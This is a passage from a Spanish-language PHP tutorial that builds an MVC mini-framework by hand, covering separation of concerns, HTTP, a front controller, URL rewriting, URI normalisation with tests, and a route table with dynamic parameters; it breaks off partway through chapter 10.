MVC · del artesanal al framework
El patrón que ordena el backend: punto único de ingreso, rutas amigables, modelo, vista y controlador construidos a mano sobre PHP 8.5 para terminar entendiendo — pieza por pieza — lo que Laravel, Symfony y CodeIgniter hacen por ti.
1 · El script que se convierte en monstruo
Básico ~14 minNadie escribe un sistema caótico a propósito. Los proyectos no nacen desordenados: envejecen desordenados. Este capítulo reproduce esa evolución con un caso mínimo y reconocible — listar pedidos de una tienda — para que veas nacer los dolores que MVC resolverá. Si reconoces tu propio código aquí, el resto del manual te encontrará preparado.
- Identificar los síntomas del código acoplado antes de que facturen.
- Medir el costo real: duplicación, imposibilidad de probar y miedo a tocar.
- Entender por qué «funciona» no es sinónimo de «sostenible».
Versión 1: inocente y honesta
El cliente pide «una página con los pedidos». Entregas esto y todos quedan conformes:
<?php
declare(strict_types=1);
// pedidos.php — version 1
$pdo = new PDO('pgsql:host=localhost;dbname=tienda', 'app', 'secreto',
[PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
$filas = $pdo->query('SELECT id, cliente, total, estado FROM pedidos ORDER BY id')
->fetchAll(PDO::FETCH_ASSOC);
?>
<h1>Pedidos</h1>
<table border="1">
<?php foreach ($filas as $f): ?>
<tr>
<td>#<?= $f['id'] ?></td>
<td><?= $f['cliente'] ?></td>
<td>S/ <?= number_format($f['total'], 2) ?></td>
<td><?= $f['estado'] ?></td>
</tr>
<?php endforeach; ?>
</table>Treinta líneas, una sola responsabilidad aparente, cero abstracciones. Y está bien: para ese alcance exacto. El error no fue escribirlo; sería creer que así seguirá.
Versión 2: el cliente siempre pide más
Semana siguiente: «queremos filtrar por estado, ver el total formateado como moneda, pintar en rojo los anulados y exportar lo mismo a CSV». El archivo responde creciendo:
<?php // fragmento de pedidos.php — version 2
$filtro = $_GET['estado'] ?? '';
if ($filtro !== '') {
$st = $pdo->prepare('SELECT ... FROM pedidos WHERE estado = ?');
$st->execute([$filtro]);
} else {
$st = $pdo->query('SELECT ... FROM pedidos'); // SQL duplicado
}
$filas = $st->fetchAll();
foreach ($filas as $f) {
$color = $f['estado'] === 'ANULADO' ? 'red' : 'black'; // presentacion en datos
$monto = '$ ' . number_format((float)$f['total'], 2); // formato duplicable
// ... HTML entrelazado con reglas de negocio ...
}
if (($_GET['export'] ?? '') === 'csv') {
header('Content-Type: text/csv');
foreach ($filas as $f) {
echo implode(',', [$f['id'], $f['cliente'],
number_format((float)$f['total'], 2), $f['estado']]), "\n";
}
exit; // y si mañana piden Excel, ¿copiamos el bucle otra vez?
}Cada petición nueva añade un if, duplica una consulta o
repite un formato. Nada explota: el sistema simplemente se vuelve más caro de
mover en cada iteración.
Los tres dolores medibles
- Duplicación: la consulta base vive en dos ramas y el formato de moneda ya aparece tres veces. Cambiar «S/» por «USD» implica cazar copias.
- Intesteable: para verificar el cálculo del total necesitas una base de datos encendida y renderizar HTML. No hay función pura que llamar.
- Miedo al cambio: ajustar un color puede romper la exportación CSV porque comparten el mismo bloque. Se vuelve cierto el chiste del desarrollador que corrige con los ojos cerrados.
| Síntoma | Causa de fondo | Costo en el tiempo |
|---|---|---|
SQL repetido en varios if | Acceso a datos mezclado con decisiones de pantalla | Cada reporte nuevo copia y pega consultas |
| Lógica de colores y formatos entre medias | Presentación acoplada al dominio | Rediseñar la UI obliga a releer negocio |
exit a mitad del archivo | Una sola vía de ejecución para todo | Imposible reutilizar o probar por partes |
Filtros por $_GET dispersos | Entrada HTTP leída donde se le ocurre | Validar significa recorrer todo el archivo |
El diagnóstico está completo. Ningún patrón vino a salvar este archivo: lo que viene es un principio más simple — que cada pieza tenga una sola razón para cambiar. Ese hilo, tirando suavemente, tejerá MVC en los próximos capítulos.
Puntos clave
- El acoplamiento no entra por un solo golpe: entra por cada «pequeño ajuste».
- Duplicación + intestabilidad + miedo al cambio son las señales tempranas.
- Un script de 30 líneas correcto hoy puede ser el monstruo de mañana.
- MVC no es magia decorativa: responde dolores concretos y medibles.
2 · Separación de responsabilidades
Básico ~15 minAntes de pronunciar la sigla MVC, aplicaremos el principio que lo sostiene:
dar a cada pieza una sola razón para cambiar. Refactorizaremos el
monstruo del capítulo 1 con las herramientas más humildes de PHP —
include, funciones y arreglos — y veremos al patrón
emerger solo, sin ceremonias.
- Extraer acceso a datos, lógica de presentación y orquestación en archivos distintos.
- Distinguir «cambiar por negocio» de «cambiar por presentación».
- Comprobar que el resultado en pantalla es idéntico, pero el código ya no es el mismo.
El criterio de corte: ¿por qué cambiaría este código?
Tres preguntas separan el archivo-monstruo sin necesidad de teoría:
- ¿Cambia si el cliente pide otro reporte o formato? → presentación.
- ¿Cambia si cambia la tabla, consulta o regla de cálculo? → datos/negocio.
- ¿Cambia si llega la petición por otra puerta (web, CLI, API)? → orquestación.
Paso 1: los datos se van a su casa
<?php
declare(strict_types=1);
// repositorio_pedidos.php — lo UNICO que sabe hablar con la base
function conexion(): PDO
{
return new PDO('pgsql:host=localhost;dbname=tienda', 'app', 'secreto',
[PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
}
function pedidosPorEstado(string $estado = ''): array
{
$sql = 'SELECT id, cliente, total, estado FROM pedidos';
if ($estado !== '') {
$sql .= ' WHERE estado = :estado'; // una sola consulta, parametrizada
}
$st = conexion()->prepare($sql . ' ORDER BY id');
if ($estado !== '') {
$st->execute([':estado' => $estado]);
} else {
$st->execute();
}
return $st->fetchAll(PDO::FETCH_ASSOC);
}Ahora el SQL vive en un único sitio. Si mañana la tabla gana una columna, o migras de PostgreSQL a SQL Server, tocas solo este archivo.
Paso 2: la vista recibe datos, no decide
<?php // plantilla_pedidos.php — SOLO representacion; no consulta, no calcula
/** @param array<int,array> $filas */
?>
<h1>Pedidos</h1>
<table border="1">
<?php foreach ($filas as $f): ?>
<tr>
<td>#<?= $f['id'] ?></td>
<td><?= htmlspecialchars($f['cliente'], ENT_QUOTES) ?></td>
<td>S/ <?= number_format($f['total_formateado'], 2) ?></td>
<td style="color:<?= $f['color'] ?>"><?= $f['estado'] ?></td>
</tr>
<?php endforeach; ?>
</table>$f['total_formateado'] y $f['color']: valores
ya preparados. Una vista que solo pinta es una vista reutilizable —
la misma plantilla servirá para web, correo o exportación.Paso 3: alguien debe dirigir la orquesta
<?php
// index.php — orquestador: lee entrada, llama datos, entrega datos a la vista
require 'repositorio_pedidos.php';
$estado = $_GET['estado'] ?? '';
$esCsv = ($_GET['export'] ?? '') === 'csv';
$filas = pedidosPorEstado($estado);
$filas = array_map(function (array $f): array {
$f['total_formateado'] = (float)$f['total']; // dato listo para pintar
$f['color'] = $f['estado'] === 'ANULADO' ? 'red' : 'black';
return $f;
}, $filas);
if ($esCsv) {
header('Content-Type: text/csv; charset=utf-8');
foreach ($filas as $f) {
echo implode(',', [$f['id'], $f['cliente'],
number_format($f['total_formateado'], 2), $f['estado']]), "\n";
}
exit;
}
require 'plantilla_pedidos.php'; // la vista NO sabe de donde vinieron los datosLa prueba del algodón
Ejecutable en segundos con el servidor embebido que ya conoces:
El navegador muestra exactamente la misma tabla que la versión 2 — pero ahora:
- Cambiar el diseño toca un archivo (la plantilla).
- Cambiar el criterio de filtrado toca otro (el repositorio).
pedidosPorEstado()es invocable desde un script de pruebas sin renderizar nada.
Puntos clave
- La pregunta guía es «¿por qué razón cambiaría esta línea?» — no «en qué carpeta va».
- Vista que recibe datos preparados = reutilizable y segura (siempre escapada).
- El orquestador lee la entrada HTTP y delega; no sabe SQL ni HTML.
- MVC no llegó: ya estaba latente en este refactor. Los próximos capítulos le ponen nombre.
3 · MVC: de Smalltalk a la web
Intermedio ~15 minEl refactor del capítulo 2 produjo tres piezas sin bautizarlas. Este capítulo pone los nombres canónicos, cuenta de dónde vienen — porque la historia explica las diferencias entre frameworks — y te da el vocabulario exacto que Laravel, Symfony, Django y hasta Compose heredaron, cada uno con su giro.
- Asignar nombre y responsabilidad exacta a Modelo, Vista y Controlador.
- Entender por qué el MVC web no es el MVC de escritorio original.
- Reconocer las variantes (MVP, MTV, MVVM) como ajustes del mismo principio.
1979: el patrón nace en un laboratorio
Trygve Reenskaug lo formuló en Xerox PARC para Smalltalk-80. El problema original era de escritorio: una misma información (un presupuesto) mostrada en varias vistas simultáneas (gráfico de barras, tabla) debía actualizarse en conjunto cuando el usuario editaba en cualquiera de ellas. El «controlador» era el gestor de entrada de teclado y ratón de aquella época.
La web invirtió el escenario: no hay pantallas simultáneas ni estado vivo entre clic y clic — hay peticiones sin memoria que nacen y mueren. El patrón sobrevivió, pero cambió de trabajo:
| Pieza | Smalltalk 1979 | Web PHP hoy |
|---|---|---|
Modelo | Estado + negocio notificando cambios a las vistas | Entidades + repositorios; no sabe que existe HTTP |
Vista | Se suscribe al modelo y se redibuja sola | Plantilla ejecutada UNA vez; recibe datos listos y muere |
Controlador | Gestiona eventos de entrada del usuario | Traduce la petición HTTP en una llamada al modelo y una vista |
A esta adaptación se le llama MVC pasivo: el controlador actúa, el modelo reacciona sin notificar a nadie y la vista es un espejo efímero. Es la versión que implementan Laravel, Symfony o tu mini-framework artesanal.
El reparto exacto de responsabilidades
<?php
// MODELO — dominio puro: reglas y datos. Ignora GET, POST y HTML.
final readonly class Pedido
{
public function __construct(
public int $id,
public string $cliente,
public float $total,
public string $estado, // 'REGISTRADO' | 'PAGADO' | 'ANULADO'
) {}
public function estaAnulado(): bool
{
return $this->estado === 'ANULADO';
}
}
// CONTROLADOR — decide QUÉ hacer con la peticion, nada de SQL ni HTML.
final class PedidosControlador
{
public function __construct(private PedidoRepositorio $repo) {}
public function ver(int $id): string
{
$pedido = $this->repo->encontrar($id)
?? throw new RuntimeException('Pedido inexistente', 404);
return vista('pedidos/detalle', ['pedido' => $pedido]); // elige vista
}
}
// VISTA — plantilla tonta: recibe $pedido ya listo y SOLO pinta.
?>
<!-- pedidos/detalle.php -->
<h1>Pedido #<?= $pedido->id ?></h1>
<p><?= htmlspecialchars($pedido->cliente, ENT_QUOTES) ?></p>Variantes: mismos genes, distinta crianza
- MVC pasivo — el nuestro. Controlador manda; típico en PHP/Python/Ruby.
- MVP (Model-View-Presenter) — el presentador orquesta todo y la vista es 100% pasiva; común en apps de escritorio/móvil clásicas.
- MTV (Django) — renombrados: Template es la vista y View es el controlador de siempre. Misma arquitectura, vocabulario propio.
- MVVM (ViewModel) — expone estado observable que la UI refleja automáticamente; es el corazón de Compose, SwiftUI o WPF. Si vienes de la serie Kotlin:
ViewModel+Statees MVVM de manual.
/models, /views y /controllers no significa
seguir el patrón si un controlador consulta SQL o una vista calcula impuestos.
Lo que define al patrón es el flujo de dependencias: la vista depende de datos,
jamás al revés.Puntos clave
- Nació para escritorio con estado; la web lo hizo pasivo y sin memoria.
- Controlador = traductor HTTP→acción. Modelo = dominio puro. Vista = espejo de datos.
- MVP/MTV/MVVM son renombres y ajustes del árbitro, no patrones nuevos.
- Las carpetas no hacen MVC: el flujo de dependencias sí.
4 · HTTP: el contrato que moldea el patrón
Intermedio ~16 minEl front controller que construiremos en la Parte II es, literalmente, un lector de dos variables: ¿qué recurso pides? y ¿con qué método?. Ambas viven en el contrato HTTP. Este capítulo afila ese repaso — ya iniciado en php_01 — con los detalles que el router usará todos los días.
- Dominar la anatomía de una petición desde la perspectiva del servidor.
- Elegir el código de estado correcto como parte del diseño, no como remate.
- Leer
$_SERVER['REQUEST_URI']yREQUEST_METHODsin sustos.
Una petición, despiezada
Cuando el navegador pide la página 5 del listado filtrado, esto es lo que llega:
Tres zonas que tu aplicación traducirá por separado:
- Método + ruta (
/pedidos?page=5&estado=PAGADO) → el router decidirá controlador y acción. Ojo:REQUEST_URIincluye el query string; el router aprenderá a recortarlo. - Cabeceras → formato aceptado, cookies, autenticación.
- Cuerpo → vacío en GET; formulario o JSON en POST/PUT.
<?php
declare(strict_types=1);
// Lo que PHP ya desgloso por ti (eco cap. 32 de php_01, ahora con fin concreto)
var_dump(
$_SERVER['REQUEST_METHOD'], // 'GET'
$_SERVER['REQUEST_URI'], // '/pedidos?page=5&estado=PAGADO'
parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), // '/pedidos' <- ruta limpia
$_GET // ['page'=>'5', 'estado'=>'PAGADO']
);parse_url(..., PHP_URL_PATH); los parámetros viajan por
$_GET o por segmentos dinámicos (/pedido/{id}, Parte III).
Nunca compares la URI completa: el orden del query string te rompería el match.Los métodos que tu router entenderá
| Método | Semántica | Uso en la app Pedidos |
|---|---|---|
GET | Leer; seguro y repetible, no cambia estado | Listado, detalle, formularios de edición |
POST | Crear / enviar datos que cambian estado | Registrar pedido, anular |
PUT/PATCH | Reemplazar / ajustar (idempotentes) | Solo en la API JSON; la web usa POST+PRG |
DELETE | Eliminar | Endpoint de API; la web lo simula con POST |
Códigos de estado: la mitad de tu trabajo
Un framework «bien hecho» se reconoce porque cada salida lleva su estado preciso. Estos cinco cubrirán el manual completo:
<?php
http_response_code(302);
header('Location: /pedidos/17'); // PRG: redirigir tras POST (cap. 23)
http_response_code(404); // ruta no encontrada o pedido inexistente
echo 'Recurso no encontrado';| Código | Nombre | Cuándo lo emitirá tu MVC |
|---|---|---|
200 | OK | Vista renderizada normalmente |
302 | Found | Redirección PRG tras un POST exitoso |
404 | Not Found | Ninguna ruta coincide / el modelo no encuentra el registro |
405 | Method Not Allowed | Ruta existe pero con otro método (GET a un endpoint POST) |
500 | Server Error | Excepción no capturada — el handler global responde |
header() debe ejecutarse ANTES de
cualquier echo. Por eso el mini-framework acumulará primero todo el
cuerpo en memoria (ob_start(), cap. 13) y recién entonces enviará
cabeceras + cuerpo. Guarda esa idea: es la razón de ser del ciclo respuesta.Puntos clave
- El router vive de dos datos:
REQUEST_METHODy la PATH deREQUEST_URI. - Query string ≠ ruta: se parsean por separado desde el día uno.
- Los códigos 302/404/405/500 son decisiones de diseño, no accidentes.
header()antes del cuerpo — yob_start()hará eso posible siempre.
5 · Script por página vs front controller
Básico ~14 minDos filosofías para responder peticiones conviven en la web PHP. La antigua — un archivo por página — sigue siendo intuitiva; la moderna — una sola puerta de entrada — es la que usan todos los frameworks serios. Este capítulo compara ambas con evidencia, porque entender por qué cambió la industria vale más que memorizar que «así se hace».
- Listar los costos ocultos del patrón script-por-página.
- Definir el front controller con precisión y sin humo.
- Reconocer la puerta única en los frameworks que visitarás al final del manual.
El mapa crece con cada página
Cada archivo repite su pequeña ceremonia de arranque:
<?php // inicio COPIADO en los seis archivos anteriores
declare(strict_types=1);
session_start(); // ¿y si uno lo olvida?
require 'repositorio_pedidos.php';
require 'repositorio_clientes.php';
require 'helpers_vistas.php';
if (empty($_SESSION['usuario'])) { // control de acceso copiado y pegado
header('Location: login.php');
exit;
}
// ... recien ahora empieza lo especifico de ESTA pagina ...| Síntoma | Por qué ocurre | Efecto a mediano plazo |
|---|---|---|
| Arranque duplicado en N archivos | No existe un lugar único «antes de todo» | Un ajuste de sesión = tocar N archivos |
URLs acopladas a archivos (/pedidos.php) | El servidor mapea ruta→archivo literalmente | Renombrar rompe enlaces, SEO e historial |
| Seguridad copiada archivo por archivo | Cada puerta se protege por separado | Basta olvidar UNA verificación para abrir la casa |
| 404 silenciosos por refactor | Mover un archivo cambia la URL pública | Miedo a reorganizar el proyecto |
La alternativa: una recepción única
El front controller concentra la ceremonia en un solo punto:
todas las peticiones entran por index.php, que
inspecciona la petición y delega al especialista correspondiente. Como la recepción
de un hotel: registras una vez y ella te dirige a la habitación correcta — nadie
entra directo a la cocina.
<?php
// index.php — LA unica puerta (esqueleto conceptual; lo construimos en cap. 6)
declare(strict_types=1);
session_start();
require 'repositorio_pedidos.php'; // arranque UNICO, garantizado
require 'helpers_vistas.php';
$metodo = $_SERVER['REQUEST_METHOD'];
$ruta = rutaLimpia(); // /pedidos/17 — cap. 8
$controlador = new PedidosControlador(new PedidoRepositorio(conexion()));
$respuesta = match ([$metodo, $ruta]) {
['GET', '/'] => $controlador->inicio(),
['GET', '/pedidos'] => $controlador->listar(),
['POST', '/pedidos'] => $controlador->registrar(),
default => throw new RuntimeException('Ruta no encontrada', 404),
};
echo $respuesta;Siete líneas compartidas que antes eran siete copias. Y lo específico de cada página no desaparece: se convierte en un método de un controlador — pequeño, enfocado, testeable.
No me creas a mí: mira quién usa cuál
- Laravel: toda petición pasa por
public/index.php. - Symfony:
public/index.php— idéntico principio. - Spring (Java):
DispatcherServlet. - ASP.NET Core: pipeline de middleware con un solo host.
Puntos clave
- Script-por-página multiplica arranque, seguridad y mantenimiento por número de páginas.
- Front controller = una sola puerta pública + despacho interno a especialistas.
- Todos los frameworks modernos son front controllers con buen traje.
- Las URLs públicas dejan de depender de tu sistema de archivos (base de las rutas amigables).
6 · El bootstrap mínimo
Intermedio ~16 minLlega el momento de escribir la puerta única de verdad. En este capítulo
construimos un index.php ejecutable que responde a dos
rutas usando un match hardwired — a propósito: el dolor
de ese hardcodeo es exactamente lo que justificará el router formal de la Parte III.
- Establecer las secciones fijas de todo bootstrap: entorno, sesión, carga, despacho.
- Responder con una cadena simple para aislar el ciclo petición→respuesta.
- Dejar instalado el handler global de excepciones (versión mínima).
El archivo completo, comentado por bloques
<?php
declare(strict_types=1);
// ============================================================
// index.php — front controller de la tienda (version minima)
// ============================================================
// --- 1) Entorno y rutas base -------------------------------------------
define('BASE_PATH', __DIR__); // raiz del proyecto en disco
// --- 2) Sesion (eco cap. 35 de php_01) ----------------------------------
session_start();
// --- 3) Carga de codigo de la aplicacion -------------------------------
require BASE_PATH . '/repositorio_pedidos.php';
require BASE_PATH . '/helpers_vistas.php';
// --- 4) Handler global: ninguna excepcion sin respuesta ----------------
set_exception_handler(function (Throwable $e): void {
http_response_code($e->getCode() >= 400 ? $e->getCode() : 500);
echo 'Error controlado: ', htmlspecialchars($e->getMessage(), ENT_QUOTES);
});
// --- 5) Lectura de la peticion (eco cap. 4) ----------------------------
$metodo = $_SERVER['REQUEST_METHOD'];
$ruta = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
// --- 6) Despacho PROVISORIO: match hardwired ---------------------------
try {
$respuesta = match ($ruta) {
'/', '/inicio' => '<h1>Bienvenido a la tienda</h1><p>' . date('Y-m-d H:i') . '</p>',
'/pedidos' => '<h1>Pedidos</h1><p>aqui ira el listado</p>',
default => throw new RuntimeException('Ruta no encontrada', 404),
};
http_response_code(200);
} catch (Throwable $e) {
$respuesta = htmlspecialchars($e->getMessage(), ENT_QUOTES);
http_response_code($e->getCode() >= 400 ? (int)$e->getCode() : 500);
}
// --- 7) Respuesta -------------------------------------------------------
echo $respuesta;.env, providers,
Kernel). Memoriza la secuencia, no el archivo.Prueba de fuego en tres URLs
Tres observaciones que valen oro:
- El 404 ya es un contrato: la ruta inexistente lanza excepción con código 404 y el handler la convierte en respuesta HTTP correcta.
- El método aún no participa: un POST a
/pedidoscaería en el mismo listado. Elmatchsolo compara la ruta — anótalo como deuda pendiente. - La vista es un string: suficiente para dominar el ciclo; las plantillas reales llegan en la Parte IV.
¿Y el hardcodeo, no era malo?
Mira lo que pasa cuando añades la quinta página: tocas el
match, mezclas HTML con lógica de despacho y empiezas
a soñar con una «tabla de rutas» configurable. Exacto — ese sueño tiene nombre
(Router) y capítulos asignados (9–12). El diseño bueno casi siempre nace de un
ejemplo pequeño que duele justo lo necesario.
Puntos clave
- Bootstrap canónico: entorno → sesión → carga → handler → petición → despacho → respuesta.
- Excepción con código HTTP = respuesta con ese código; cero pantallas blancas.
- El match provisorio demuestra el concepto Y motiva el router real.
php -S host index.php: el servidor embebido también puede tener front controller (eco cap. 28).
7 · Rutas amigables I: el rewrite
Intermedio ~16 minNuestro front controller ya responde — pero solo si el servidor encuentra el
archivo index.php. Pide /pedidos con Apache
«de fábrica» y obtendrás un 404 del servidor, porque no existe ningún
archivo llamado así. La solución tiene nombre de mago: reescritura de URLs,
y su hechizo vive en .htaccess.
- Entender por qué el servidor 404ea rutas sin archivo real.
- Escribir el .htaccess canónico línea por línea (Apache).
- Reproducir el mismo efecto en nginx y en el servidor embebido.
El objetivo, en una comparación
| URL fea (acoplada) | URL amigable (diseñada) |
|---|---|
/pedidos.php?estado=ANULADO | /pedidos?estado=ANULADO |
/pedido_detalle.php?id=17 | /pedidos/17 |
| Expone tecnología y estructura | Habla el idioma del usuario y del SEO |
| Cambiar el archivo rompe la URL | La ruta sobrevive a cualquier refactor interno |
El .htaccess canónico, despiezado
# .htaccess — misma carpeta que index.php
RewriteEngine On
# No reescribir si la peticion es un archivo REAL (css, js, imagenes)
RewriteCond %{REQUEST_FILENAME} !-f
# ...ni un directorio REAL
RewriteCond %{REQUEST_FILENAME} !-d
# Todo lo demas viaja al front controller y ahi termina el ciclo [L]
RewriteRule ^ index.php [L]Tres líneas hacen todo el trabajo:
- RewriteCond !-f: si existe un archivo físico con ese nombre
(
/estilos.css), sírvelo tal cual. Sin esta línea, tu CSS moriría redirigido al index. - RewriteCond !-d: ídem para carpetas reales.
- RewriteRule ^ index.php [L]: cualquier otra cosa entra al
front controller. El patrón vacío coincide con todas las rutas;
[L](«last») corta el proceso de reescritura.
mod_rewrite activo
(a2enmod rewrite) y AllowOverride All para que el
.htaccess sea leído. Si los RewriteCond no funcionan, el síntoma clásico es un
500 o un index que recibe TODAS las peticiones incluido el CSS.El mismo pacto en nginx
nginx no lee .htaccess: su equivalente vive en la configuración del sitio y usa try_files:
# /etc/nginx/sites-available/tienda (fragmento del bloque server)
location / {
try_files $uri $uri/ /index.php?$query_string;
}Misma semántica: intenta el archivo, luego el directorio; si nada existe, entrega
la petición a index.php conservando el query string.
Diferencia operativa clave: nginx exige reload del servicio; Apache relee el
.htaccess en cada petición (cómodo en desarrollo, algo más caro en producción).
Desarrollo: el servidor embebido ya puede todo esto
En php_01 (cap. 28) viste que php -S acepta un
router script. Es nuestra versión miniatura del rewrite:
<?php
// router_dev.php — imita el .htaccess bajo `php -S localhost:8000 router_dev.php`
$ruta = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
// ¿existe archivo o carpeta real? dejalo pasar (devuelve false = sirvelo directo)
if ($ruta !== '/' && file_exists(__DIR__ . $ruta)) {
return false;
}
require __DIR__ . '/index.php'; // todo lo demas: front controllerCon el rewrite instalado, /pedidos, /pedidos/17
o lo que inventemos llegan intactos a nuestro index.php.
Lo que haga con ellas ya es territorio del capítulo 8.
Puntos clave
- El 404 venía del servidor: pedías recursos que no existen como archivos.
- Las dos RewriteCond protegen tus assets; sin ellas el CSS «desaparece».
- nginx = try_files; embebido = router script con
return false. - Ruta amigable ≠ magia: es rewrite → front controller → despacho (siempre ese orden).
8 · Rutas amigables II: parsear la URI
Intermedio ~15 minEl rewrite entrega la petición completa al front controller — incluidas las partes
que NO queremos comparar: query string, barra final caprichosa, o el prefijo
/tienda/public si la app vive en una subcarpeta. Este
capítulo escribe la función que convierte esa URI cruda en la ruta limpia y
segura que el router comparará, con pruebas incluidas.
- Normalizar
REQUEST_URIen cinco pasos deterministas. - Soportar la app dentro de un subdirectorio sin tocar el código de rutas.
- Probar la función con aserciones ejecutables desde CLI.
Los cinco pasos del saneamiento
<?php
declare(strict_types=1);
define('BASE_URL', '/tienda/public'); // '' si la app vive en la raiz del host
function rutaActual(): string
{
// 1) URI cruda (incluye query string)
$uri = $_SERVER['REQUEST_URI'] ?? '/';
// 2) separar la PATH del query string (?page=5 se queda para $_GET)
$ruta = parse_url($uri, PHP_URL_PATH) ?? '/';
// 3) decodificar %20 y amigos; rechazar trucos de null byte
$ruta = rawurldecode($ruta);
if (str_contains($ruta, "\0")) {
throw new RuntimeException('Ruta invalida', 400);
}
// 4) quitar el prefijo base (/tienda/public/pedidos -> /pedidos)
if (BASE_URL !== '' && str_starts_with($ruta, BASE_URL)) {
$ruta = substr($ruta, strlen(BASE_URL));
}
// 5) normalizar: sin slash final (pero '/' raiz se respeta)
return $ruta !== '/' && str_ends_with($ruta, '/')
? rtrim($ruta, '/') : $ruta;
}echo o logs. El paso 5 garantiza que
/pedidos y /pedidos/ sean LA MISMA ruta — duplicar
entradas por una barra es bug clásico.Prueba ejecutable: la función se defiende sola
Como la función solo lee $_SERVER, podemos simular peticiones completas sin servidor:
<?php
// prueba_ruta.php — correr con: php prueba_ruta.php
$casos = [
['/pedidos?page=5&estado=PAGADO', '/pedidos'],
['/tienda/public/pedidos/17', '/pedidos/17'],
['/tienda/public/pedidos/', '/pedidos'],
['/', '/'],
['/catalogo%20nuevo', '/catalogo nuevo'],
];
foreach ($casos as [$entrada, $esperado]) {
$_SERVER['REQUEST_URI'] = $entrada;
$obtenido = rutaActual();
$ok = $obtenido === $esperado ? 'OK ' : 'FALLA';
printf("%s %-38s => %s\n", $ok, $entrada, $obtenido);
assert($obtenido === $esperado);
}
echo "Pruebas de rutas terminadas\n";| Paso | Entrada típica | Salida | Por qué importa |
|---|---|---|---|
| Query string fuera | /pedidos?page=5 | /pedidos | El orden de parámetros no rompe el match |
| Decodificación | /café%20frío | /café frío | Rutas legibles con acentos reales |
| Base URL fuera | /tienda/public/pedidos | /pedidos | Mismo código en subcarpeta o dominio propio |
| Slash final | /pedidos/ | /pedidos | Una ruta = una entrada en la tabla |
Integración con el bootstrap
En index.php, la línea cruda del capítulo 6 se jubila:
// ANTES (cap. 6):
$ruta = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
// DESPUES:
require BASE_PATH . '/ruta_actual.php';
$ruta = rutaActual();Con esto cerramos la Parte II: hay puerta única, el servidor entrega TODO al front controller y este ya recibe rutas limpias, seguras y normalizadas. Falta el cerebro que decide qué hacer con cada una — el Router — y es exactamente la Parte III.
Puntos clave
- Cinco pasos: path → decode → validar → base → slash final. Siempre igual.
BASE_URLcomo constante hace portable la app sin tocar rutas.- Simular
$_SERVERpermite probar rutas desde CLI, sin navegador. - Query string nunca participa del match: vive en
$_GET.
9 · La tabla de rutas
Intermedio ~15 minEl match hardwired del capítulo 6 cumplió su misión:
demostrar el ciclo y doler justo lo necesario. Hoy lo jubilamos. La idea central del
router es simple y poderosa: las rutas son datos, no código. Una
tabla declarativa que vive en su propio archivo, legible de un vistazo y editable sin
tocar la maquinaria.
- Diseñar el formato de la tabla:
'MÉTODO /ruta'→ controlador@acción. - Implementar la búsqueda exacta (solo rutas estáticas por ahora).
- Integrarla al bootstrap y comprobar el 404 automático.
El formato: una llave que lo dice todo
<?php
declare(strict_types=1);
// rutas.php — el mapa completo de la aplicacion
return [
'GET /' => ['InicioControlador', 'inicio'],
'GET /contacto' => ['InicioControlador', 'contacto'],
'GET /pedidos' => ['PedidosControlador', 'listar'],
'POST /pedidos' => ['PedidosControlador', 'registrar'],
];Decisiones de diseño que valen examen:
- Método dentro de la llave:
GET /pedidosyPOST /pedidosson entradas distintas — anticipa el capítulo 11. [Clase, 'método']: el formato callable nativo de PHP. Todavía como strings para mantener la tabla serializable y legible.return [...]: un archivo de configuración pura — ni unrequirede clases aquí adentro.
El buscador: diez líneas honestas
<?php
// router.php — version estatica
function buscarRuta(array $rutas, string $metodo, string $ruta): array
{
$llave = $metodo . ' ' . $ruta;
if (!isset($rutas[$llave])) {
throw new RuntimeException("Ruta no encontrada: $llave", 404);
}
return $rutas[$llave]; // ej.: ['PedidosControlador', 'listar']
}¿Y si mañana quieres cachear rutas o filtrar por middleware? La función es el único punto donde tocar. Esa concentración es el verdadero regalo del front controller.
Integración en index.php
<?php // fragmento final del bootstrap (reemplaza el match del cap. 6)
$rutas = require BASE_PATH . '/rutas.php';
require BASE_PATH . '/router.php';
$metodo = $_SERVER['REQUEST_METHOD'];
$ruta = rutaActual(); // eco cap. 8
try {
[$clase, $accion] = buscarRuta($rutas, $metodo, $ruta);
// Despacho provisional: aun sin reflexion, ya funciona
require BASE_PATH . '/controladores/' . $clase . '.php';
$controlador = new $clase();
$respuesta = $controlador->$accion();
http_response_code(200);
} catch (Throwable $e) {
http_response_code($e->getCode() >= 400 ? (int)$e->getCode() : 500);
$respuesta = htmlspecialchars($e->getMessage(), ENT_QUOTES);
}
echo $respuesta;Fíjate en new $clase(): PHP instancia desde una cadena
sin ceremonia alguna. Y $controlador->$accion() llama al método cuyo
nombre viaja en una variable. El despacho elegante llega en el capítulo 12 — pero
quería que vieras primero que ya funciona así de simple.
'GET /quienes-somos' => ['InicioControlador', 'nosotros'] SIN tocar
index.php ni router.php.
Si lograste hacerlo solo editando dos archivos (tabla + controlador), entendiste
el punto de esta Parte III entera.Puntos clave
- Rutas como datos: tabla declarativa separada de la maquinaria de búsqueda.
- Llave compuesta
MÉTODO rutaprepara el terreno para 404/405. new $clase()y$obj->$metodo(): despacho dinámico nativo.- Agregar páginas ya NO toca el motor — solo la tabla y su controlador.
10 · Parámetros dinámicos: /pedidos/{id}
Intermedio ~16 minLa tabla estática tiene un límite evidente: no puedes declarar
/pedidos/17, /pedidos/18… hasta el fin de los tiempos. Lo
que necesitas es un patrón con huecos: /pedidos/{id}.
La herramienta para huecos ya la dominas del capítulo 8 de php_01 — expresiones
regulares, y su mejor truco: los grupos nombrados.
- Convertir una ruta con placeholders en un patrón regex anclado.
- Capturar parámetros por nombre (
?P<id>) y entregarlos al controlador. - Usar la ruta como PRIMER filtro de validación antes de tocar la base.
De llave a patrón
<?php
// Traduccion: '/pedidos/{id}' => '#^/pedidos/(?P<id>\d+)$#'
function patronDe(string $ruta): string
{
$patron = preg_replace('#\{([a-zA-Z_][a-zA-Z0-9_]*)\}#', '(?P<$1>\d+)', $ruta);
return '#^' . $patron . '$#';
}
var_dump(patronDe('/pedidos/{id}'));Tres decisiones dentro de esa función diminuta:
- Anclaje total (
^...$): sin él,/pedidos/17/historialharía match falso. - Delimitador #: evita escapar las barras de la ruta.
- Grupo nombrado (
?P<id>): el resultado del match llega como arreglo asociativo — el controlador recibe$parametros['id'], no una posición mágica.
El router híbrido: exacto primero, patrones después
